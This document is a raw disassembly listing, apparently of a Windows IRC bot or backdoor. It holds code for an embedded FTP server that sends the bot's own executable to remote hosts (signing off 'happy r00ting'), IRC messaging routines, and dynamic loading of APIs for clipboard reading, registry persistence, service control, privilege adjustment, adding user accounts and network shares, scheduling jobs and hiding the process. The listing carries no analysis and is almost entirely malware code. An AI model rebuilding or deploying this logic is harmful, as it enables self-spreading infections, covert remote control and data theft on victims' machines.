lea eax, [ebp+var_C4]
jmp short loc_4041CB
; ---------------------------------------------------------------------------
loc_40421C: ; CODE XREF: sub_403E11+3DFj
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_4042ED
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_40CB7D
lea eax, [ebp+var_F8]
push eax
call sub_40D9BF
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_40D9BF
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_40CC40
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_40C6C3
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_40E2CB
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_40C6C3
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4042ED: ; CODE XREF: sub_403E11+420j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_4043A8
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_4043F8
pop ecx
cmp eax, 1
pop ecx
jnz short loc_40439E
call sub_404475
cmp eax, 1
jnz loc_4043CA
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_42D334
push eax
lea eax, [ebp+var_8DC]
push offset unk_41C0F0
push eax
call sub_40C6C3
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_40438F
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_404555
add esp, 14h
loc_40438F: ; CODE XREF: sub_403E11+559j
lea eax, [ebp+var_8DC]
push eax
call sub_403145
pop ecx
jmp short loc_4043CA
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_403E11+513j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4043C7
; ---------------------------------------------------------------------------
loc_4043A8: ; CODE XREF: sub_403E11+4F1j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4043CA
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4043C7: ; CODE XREF: sub_403E11+271j
; sub_403E11+295j ...
push edi
call ebx ; send
loc_4043CA: ; CODE XREF: sub_403E11+3C5j
; sub_403E11+51Dj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_40CC40
add esp, 0Ch
loc_4043DC: ; CODE XREF: sub_403E11+15Ej
; sub_403E11+187j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_403F3D
jmp loc_403F04
; ---------------------------------------------------------------------------
loc_4043EE: ; CODE XREF: sub_403E11+11Ej
xor eax, eax
inc eax
loc_4043F1: ; CODE XREF: sub_403E11+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_403E11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043F8 proc near ; CODE XREF: sub_403E11+509p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_418188 ; WSAStartup
push 0
push 1
push 2
call dword_4181B4 ; socket
push [ebp+arg_0]
mov dword_42D330, eax
mov [ebp+var_10], 2
call dword_41819C ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4181A0 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_42D330
call dword_4181A4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_404470
push dword_42D330
call dword_4181B0 ; closesocket
call dword_418184 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_404470: ; CODE XREF: sub_4043F8+60j
xor eax, eax
inc eax
leave
retn
sub_4043F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404475 proc near ; CODE XREF: sub_403E11+515p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_41804C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_41BD40
push eax
call sub_40DDC8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40450C
test byte ptr [esi+0Ch], 10h
jnz short loc_4044F0
push edi
mov edi, 400h
loc_4044B8: ; CODE XREF: sub_404475+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_40DA20
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_42D330
call dword_4181B8 ; send
push 1
call dword_418040 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_4044B8
pop edi
loc_4044F0: ; CODE XREF: sub_404475+3Bj
push esi
call sub_40D9CA
pop ecx
push dword_42D330
call dword_4181B0 ; closesocket
call dword_418184 ; WSACleanup
xor eax, eax
inc eax
loc_40450C: ; CODE XREF: sub_404475+35j
pop esi
leave
retn
sub_404475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40450F proc near ; CODE XREF: sub_407681+3Dp
; sub_4077FD+1B6p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_40D8E4
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_42D8C4 ; send
leave
retn
sub_40450F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404555 proc near ; CODE XREF: sub_401000+B2p
; sub_4010CA+61p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_404570
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_404570: ; CODE XREF: sub_404555+14j
push edi
call sub_40CBC0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_40CBC0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_0 ; "%s"
push esi
push eax
call sub_40D3F7
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_40C6C3
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_42D8C4 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4045EE
push 7D0h
call dword_418040 ; Sleep
locret_4045EE: ; CODE XREF: sub_404555+8Cj
leave
retn
sub_404555 endp
; =============== S U B R O U T I N E =======================================
sub_4045F0 proc near ; CODE XREF: sub_407041+50p
push ebx
push ebp
mov ebp, dword_418094
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_418090
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_404710
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_42D920, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_42D898, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_42D87C, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_42D7A8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_42D758, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_42D784, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_42D7F4, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_42D8D4, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_42D92C, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_42D7B4, eax
call esi ; GetProcAddress
cmp dword_42D920, ebx
mov dword_42D79C, eax
jz short loc_4046EE
cmp dword_42D898, ebx
jz short loc_4046EE
cmp dword_42D87C, ebx
jz short loc_4046EE
cmp dword_42D7A8, ebx
jz short loc_4046EE
cmp dword_42D784, ebx
jz short loc_4046EE
cmp dword_42D7F4, ebx
jz short loc_4046EE
cmp dword_42D8D4, ebx
jz short loc_4046EE
cmp dword_42D92C, ebx
jz short loc_4046EE
cmp dword_42D7B4, ebx
jz short loc_4046EE
cmp eax, ebx
jnz short loc_4046F8
loc_4046EE: ; CODE XREF: sub_4045F0+B8j
; sub_4045F0+C0j ...
mov dword_42D930, 1
loc_4046F8: ; CODE XREF: sub_4045F0+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42D8AC, eax
jz short loc_404725
push 1
push ebx
call eax ; GetDiskFreeSpaceExA
jmp short loc_404725
; ---------------------------------------------------------------------------
loc_404710: ; CODE XREF: sub_4045F0+1Dj
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D934, eax
mov dword_42D930, 1
loc_404725: ; CODE XREF: sub_4045F0+117j
; sub_4045F0+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_41808C ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4047E0
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_42D8D0, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_42D884, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_42D81C, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_42D924, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_42D848, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_42D868, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_42D8C8, eax
call esi ; GetProcAddress
cmp dword_42D8D0, ebx
mov dword_42D7D0, eax
jz short loc_4047EB
cmp dword_42D884, ebx
jz short loc_4047EB
cmp dword_42D81C, ebx
jz short loc_4047EB
cmp dword_42D924, ebx
jz short loc_4047EB
cmp dword_42D848, ebx
jz short loc_4047EB
cmp dword_42D868, ebx
jz short loc_4047EB
cmp dword_42D8C8, ebx
jz short loc_4047EB
cmp eax, ebx
jnz short loc_4047F5
jmp short loc_4047EB
; ---------------------------------------------------------------------------
loc_4047E0: ; CODE XREF: sub_4045F0+144j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D93C, eax
loc_4047EB: ; CODE XREF: sub_4045F0+1B8j
; sub_4045F0+1C0j ...
mov dword_42D938, 1
loc_4047F5: ; CODE XREF: sub_4045F0+1ECj
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_404990
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_42D8E4, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_42D830, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_42D89C, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_42D794, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_42D7F0, eax
call esi ; GetProcAddress
cmp dword_42D8E4, ebx
mov dword_42D854, eax
jz short loc_404880
cmp dword_42D830, ebx
jz short loc_404880
cmp dword_42D89C, ebx
jz short loc_404880
cmp dword_42D794, ebx
jz short loc_404880
cmp dword_42D7F0, ebx
jz short loc_404880
cmp eax, ebx
jnz short loc_40488A
loc_404880: ; CODE XREF: sub_4045F0+26Aj
; sub_4045F0+272j ...
mov dword_42D940, 1
loc_40488A: ; CODE XREF: sub_4045F0+28Ej
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_42D85C, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_42D838, eax
call esi ; GetProcAddress
cmp dword_42D85C, ebx
mov dword_42D8E0, eax
jz short loc_4048C5
cmp dword_42D838, ebx
jz short loc_4048C5
cmp eax, ebx
jnz short loc_4048CF
loc_4048C5: ; CODE XREF: sub_4045F0+2C7j
; sub_4045F0+2CFj
mov dword_42D940, 1
loc_4048CF: ; CODE XREF: sub_4045F0+2D3j
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_42D86C, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_42D770, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_42D778, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_42D7D8, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_42D7DC, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_42D78C, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_42D83C, eax
call esi ; GetProcAddress
cmp dword_42D86C, ebx
mov dword_42D77C, eax
jz short loc_404973
cmp dword_42D770, ebx
jz short loc_404973
cmp dword_42D778, ebx
jz short loc_404973
cmp dword_42D7D8, ebx
jz short loc_404973
cmp dword_42D7DC, ebx
jz short loc_404973
cmp dword_42D78C, ebx
jz short loc_404973
cmp dword_42D83C, ebx
jz short loc_404973
cmp eax, ebx
jnz short loc_40497D
loc_404973: ; CODE XREF: sub_4045F0+34Dj
; sub_4045F0+355j ...
mov dword_42D940, 1
loc_40497D: ; CODE XREF: sub_4045F0+381j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42D774, eax
jnz short loc_4049A5
jmp short loc_40499B
; ---------------------------------------------------------------------------
loc_404990: ; CODE XREF: sub_4045F0+210j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D944, eax
loc_40499B: ; CODE XREF: sub_4045F0+39Ej
mov dword_42D940, 1
loc_4049A5: ; CODE XREF: sub_4045F0+39Cj
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_404A71
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_42D864, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_42D8B8, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_42D8C0, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_42D880, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_42D7B8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_42D768, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_42D8BC, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_42D754, eax
call esi ; GetProcAddress
cmp dword_42D864, ebx
mov dword_42D7E8, eax
jz short loc_404A7C
cmp dword_42D8B8, ebx
jz short loc_404A7C
cmp dword_42D8C0, ebx
jz short loc_404A7C
cmp dword_42D880, ebx
jz short loc_404A7C
cmp dword_42D7B8, ebx
jz short loc_404A7C
cmp dword_42D768, ebx
jz short loc_404A7C
cmp dword_42D8BC, ebx
jz short loc_404A7C
cmp dword_42D754, ebx
jz short loc_404A7C
cmp eax, ebx
jnz short loc_404A86
jmp short loc_404A7C
; ---------------------------------------------------------------------------
loc_404A71: ; CODE XREF: sub_4045F0+3C0j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D94C, eax
loc_404A7C: ; CODE XREF: sub_4045F0+441j
; sub_4045F0+449j ...
mov dword_42D948, 1
loc_404A86: ; CODE XREF: sub_4045F0+47Dj
mov ebp, dword_41808C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404D42
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_42D7FC, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_42D918, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_42D7A4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_42D780, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_42D828, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_42D814, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_42D7E4, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_42D8F4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_42D910, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_42D824, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_42D900, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_42D8B4, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_42D878, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_42D874, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_42D7C4, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_42D7BC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_42D8C4, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_42D8D8, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_42D890, eax
call esi ; GetProcAddress
mov dword_42D850, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_42D8A4, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_42D860, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_42D8A0, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_42D908, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_42D858, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_42D820, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_42D88C, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_42D8F8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_42D834, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_42D7E0, eax
call esi ; GetProcAddress
cmp dword_42D7FC, ebx
mov dword_42D90C, eax
jz loc_404D4D
cmp dword_42D918, ebx
jz loc_404D4D
cmp dword_42D7A4, ebx
jz loc_404D4D
cmp dword_42D828, ebx
jz loc_404D4D
cmp dword_42D814, ebx
jz loc_404D4D
cmp dword_42D7E4, ebx
jz loc_404D4D
cmp dword_42D8F4, ebx
jz loc_404D4D
cmp dword_42D910, ebx
jz loc_404D4D
cmp dword_42D824, ebx
jz loc_404D4D
cmp dword_42D900, ebx
jz loc_404D4D
cmp dword_42D8B4, ebx
jz loc_404D4D
cmp dword_42D878, ebx
jz loc_404D4D
cmp dword_42D874, ebx
jz loc_404D4D
cmp dword_42D7C4, ebx
jz short loc_404D4D
cmp dword_42D8C4, ebx
jz short loc_404D4D
cmp dword_42D8D8, ebx
jz short loc_404D4D
cmp dword_42D890, ebx
jz short loc_404D4D
cmp dword_42D850, ebx
jz short loc_404D4D
cmp dword_42D8A4, ebx
jz short loc_404D4D
cmp dword_42D860, ebx
jz short loc_404D4D
cmp dword_42D8A0, ebx
jz short loc_404D4D
cmp dword_42D908, ebx
jz short loc_404D4D
cmp dword_42D858, ebx
jz short loc_404D4D
cmp dword_42D820, ebx
jz short loc_404D4D
cmp dword_42D88C, ebx
jz short loc_404D4D
cmp dword_42D8F8, ebx
jz short loc_404D4D
cmp dword_42D834, ebx
jz short loc_404D4D
cmp eax, ebx
jnz short loc_404D57
jmp short loc_404D4D
; ---------------------------------------------------------------------------
loc_404D42: ; CODE XREF: sub_4045F0+4A7j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D954, eax
loc_404D4D: ; CODE XREF: sub_4045F0+646j
; sub_4045F0+652j ...
mov dword_42D950, 1
loc_404D57: ; CODE XREF: sub_4045F0+74Ej
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404E5C
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_42D7CC, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_42D75C, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_42D844, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_42D800, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_42D84C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_42D818, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_42D798, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_42D790, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_42D7A0, eax
call esi ; GetProcAddress
cmp dword_42D7CC, ebx
mov ecx, dword_42D818
mov dword_42D8A8, eax
jz short loc_404E38
cmp dword_42D75C, ebx
jz short loc_404E38
cmp dword_42D844, ebx
jz short loc_404E38
cmp dword_42D800, ebx
jz short loc_404E38
cmp dword_42D84C, ebx
jz short loc_404E38
cmp ecx, ebx
jz short loc_404E38
cmp dword_42D798, ebx
jz short loc_404E38
cmp dword_42D790, ebx
jz short loc_404E38
cmp dword_42D7A0, ebx
jz short loc_404E38
cmp eax, ebx
jnz short loc_404E42
loc_404E38: ; CODE XREF: sub_4045F0+806j
; sub_4045F0+80Ej ...
mov dword_42D958, 1
loc_404E42: ; CODE XREF: sub_4045F0+846j
cmp ecx, ebx
jz short loc_404E77
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_42D82C, eax
jnz short loc_404E77
jmp short loc_404E71
; ---------------------------------------------------------------------------
loc_404E5C: ; CODE XREF: sub_4045F0+772j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D95C, eax
mov dword_42D958, 1
loc_404E71: ; CODE XREF: sub_4045F0+86Aj
mov dword_42D82C, ebx
loc_404E77: ; CODE XREF: sub_4045F0+854j
; sub_4045F0+868j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_404EC1
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_42D80C, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_42D928, eax
call esi ; GetProcAddress
cmp dword_42D80C, ebx
mov dword_42D7AC, eax
jz short loc_404ECC
cmp dword_42D928, ebx
jz short loc_404ECC
cmp eax, ebx
jnz short loc_404ED6
jmp short loc_404ECC
; ---------------------------------------------------------------------------
loc_404EC1: ; CODE XREF: sub_4045F0+892j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D964, eax
loc_404ECC: ; CODE XREF: sub_4045F0+8C1j
; sub_4045F0+8C9j ...
mov dword_42D960, 1
loc_404ED6: ; CODE XREF: sub_4045F0+8CDj
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404FCC
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_42D788, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_42D764, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_42D7D4, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_42D804, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_42D904, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_42D7C0, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_42D76C, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_42D760, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_42D7EC, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_42D8CC, eax
call esi ; GetProcAddress
cmp dword_42D788, ebx
mov dword_42D888, eax
jz short loc_404FD7
cmp dword_42D764, ebx
jz short loc_404FD7
cmp dword_42D7D4, ebx
jz short loc_404FD7
cmp dword_42D804, ebx
jz short loc_404FD7
cmp dword_42D904, ebx
jz short loc_404FD7
cmp dword_42D7C0, ebx
jz short loc_404FD7
cmp dword_42D76C, ebx
jz short loc_404FD7
cmp dword_42D760, ebx
jz short loc_404FD7
cmp dword_42D7EC, ebx
jz short loc_404FD7
cmp dword_42D8CC, ebx
jz short loc_404FD7
cmp eax, ebx
jnz short loc_404FE1
jmp short loc_404FD7
; ---------------------------------------------------------------------------
loc_404FCC: ; CODE XREF: sub_4045F0+8F1j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D96C, eax
loc_404FD7: ; CODE XREF: sub_4045F0+98Cj
; sub_4045F0+994j ...
mov dword_42D968, 1
loc_404FE1: ; CODE XREF: sub_4045F0+9D8j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_405016
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_42D7B0, eax
call esi ; GetProcAddress
cmp dword_42D7B0, ebx
mov dword_42D870, eax
jz short loc_405021
cmp eax, ebx
jnz short loc_40502B
jmp short loc_405021
; ---------------------------------------------------------------------------
loc_405016: ; CODE XREF: sub_4045F0+9FCj
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D974, eax
loc_405021: ; CODE XREF: sub_4045F0+A1Ej
; sub_4045F0+A24j
mov dword_42D970, 1
loc_40502B: ; CODE XREF: sub_4045F0+A22j
